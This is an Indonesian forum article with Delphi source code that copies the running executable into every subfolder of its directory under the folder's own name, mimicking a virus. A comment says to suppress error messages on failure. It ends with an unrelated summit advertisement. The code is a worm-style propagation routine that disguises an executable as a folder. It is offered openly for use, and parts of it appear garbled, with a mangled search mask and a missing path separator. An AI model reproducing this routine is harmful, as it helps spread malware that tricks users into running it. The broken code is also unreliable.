Arsip: Mengandakan nama folder seperti virus


by nickqin in Articles more 18 years ago 2520
pasang 1 buah label dan 1 buah memo
simpan project di directory yg didalamnya terdapat beberapa folder sebagai sample.

procedure TForm1.FormCreate(Sender: TObject);
var
SearchRec : TSearchRec;
SearchDir,myfile : string;
begin
memo1.Clear;
MyFile := ExtractFilePath(ParamStr(0)); //nama aplikasi kita
label1.caption:=myfile;
SearchDir := label1.Caption + '. '; //pencarian subfolder di directory
if FindFirst(SearchDir, faDirectory, SearchRec) = 0
then
begin
repeat
if ((SearchRec.Attr and faDirectory) = faDirectory)
and (SearchRec.Name <> '.')
and (SearchRec.Name <> '..')
then
begin
memo1.lines.Add(SearchRec.Name);
end
until FindNext(SearchRec) <> 0;
FindClose(SearchRec);
end;
end;
end.
procedure TForm1.FormShow(Sender: TObject);
var
fileku,shell,tujuan:string;
i:byte;
begin
fileku:=application.ExeName; //nama aplikasi kita

for i:=0 to memo1.Lines.count-1 do //proses pengkopian file
begin
shell:=label1.caption+memo1.lines.Strings[i]+'.exe'; //pengkopian pada directory
CopyFile(Pchar(Fileku),PChar(shell),false);
tujuan:=label1.caption+memo1.lines.Strings[i]+''+memo1.lines.Strings[i]+'.exe'; //pengkopian pada subdirectorynya
CopyFile(Pchar(Fileku),PChar(tujuan),false); //jangan kasih pesan kalo gagal mangkopy
end;
end;
Syntax Highlighted with https://pascal-id.org/syntax


semoga bermanfaat..!

AI Forward

๐Ÿš€ We're thrilled to partner with Alibaba Cloud for "AI Forward - Alibaba Cloud Global Developer Summit 2025" in Jakarta! Join us and explore the future of AI. Register now: https://int.alibabacloud.com/m/1000400772/
#AlibabaCloud #DeveloperSummit #Jakarta #AIFORWARD

Local Business Directory, Search Engine Submission & SEO Tools FreeWebSubmission.com SonicRun.com